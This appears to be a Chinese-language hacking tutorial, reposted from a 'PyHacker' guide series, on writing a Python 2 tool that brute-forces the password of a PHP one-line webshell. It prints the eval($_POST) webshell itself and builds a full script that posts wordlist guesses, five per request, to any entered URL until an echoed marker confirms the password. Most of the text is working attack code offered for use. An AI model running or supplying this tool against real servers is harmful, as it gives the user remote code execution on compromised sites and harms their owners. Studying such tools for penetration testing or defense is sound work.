1. 程式人生 > 其它 >【PyHacker編寫指南】爆破一句話密碼

【PyHacker編寫指南】爆破一句話密碼

這節課是巡安似海PyHacker編寫指南的編寫漏洞POC

使用Python編寫一句話密碼爆破工具,解脫雙手。

編寫環境:Python2.x

 


 

00x1:

需要用到的模組如下:

import requests

00x2:

首先我們瞭解一下一句話木馬,一般post傳遞引數

一個簡單的php一句話木馬

<?php
eval($_POST['x'])
?>
先測試一下連線

OK,沒問題,我們用瀏覽器開啟傳參看一下

 

由此可以看到密碼為x,變數提交能匹配上即執行echo語句

這時我猜大家都有了思路,構造post請求即可

 

00x3:

這裡我們可以利用網址特性提交多個引數

 

這樣可以提高爆破效率

分析完成,下面我們開始進行寫指令碼

 

00x4:

簡單爆破shell密碼,shell為字典

#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests

def req(url,s):
    global html
    data = {s:'echo xc666;'}
    req = requests.post(url,data=data)
    html = req.content

shell = ['z','y','x']
for s in shell:
    req('http://127.0.0.1/shell.php',s)
    if 'xc666' in html:
        print "[+]Find password",s
        break

 

00x5:

下面我們按我們剛才說的,一次多個引數,增加效率

首先整理一下字典

data = {s:'echo %s;'%s,ss:'echo %s;'%ss}

shell = []
def shelllist():
    f = open('shell.txt','r')
    for x in f.readlines(): #去除換行等字元
        x = x.strip()
        shell.append(x)
    print u"shell密碼個數為:",len(shell)
for i in range(0,len(shell),2): #分割列表
    b=shell[i:i+2]
    print b

 

我們一次性提交兩個引數測試一下

def main():
    shelllist()
    for i in range(0,len(shell),2): #分割列表
        b=shell[i:i+2]
        req('http://127.0.0.1/shell.php',b[0],b[1])
        if b[0] in html:
            print "[+]Find password",b[0]
            break
        elif b[1] in html:
            print "[+]Find password", b[1]
            break
main()

 測試一下,一次執行兩個密碼

 

00x6:

完整程式碼:

一次爆破5次密碼,可自行調整

#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests

def req(url,s,ss,sss,ssss,sssss):
    global html
    data = {s:'echo xc666%s;'%s,
            ss:'echo xc666%s;'%ss,
            sss:'echo xc666%s;'%sss,
            ssss:'echo xc666%s;'%ssss,
            sssss:'echo xc666%s;'%sssss,}
    req = requests.post(url,data=data)
    html = req.content
    print req.url,s,ss,sss,ssss,sssss

shell = []
def shelllist():
    f = open('shell.txt','r')
    for x in f.readlines(): #去除換行等字元
        x = x.strip()
        shell.append(x)
    print u"\nshell密碼個數為:",len(shell)

def main():
    shelllist()
    url = raw_input('\nshell url:')
    if 'http' not in url:
        url = 'http://'+url
    for i in range(0,len(shell),5): #分割列表
        b=shell[i:i+5]
        req(url,b[0],b[1],b[2],b[3],b[4])
        if "xc666%s"%b[0] in html:
            print "\n[+]Find password",b[0]
            break
        elif "xc666%s"%b[1] in html:
            print "\n[+]Find password", b[1]
            break
        elif "xc666%s"%b[2] in html:
            print "\n[+]Find password",b[2]
            break
        elif "xc666%s"%b[3] in html:
            print "\n[+]Find password", b[3]
            break
        elif "xc666%s"%b[4] in html:
            print "\n[+]Find password", b[4]
            break
if __name__ == '__main__':
    main()
喜歡的點個贊叭~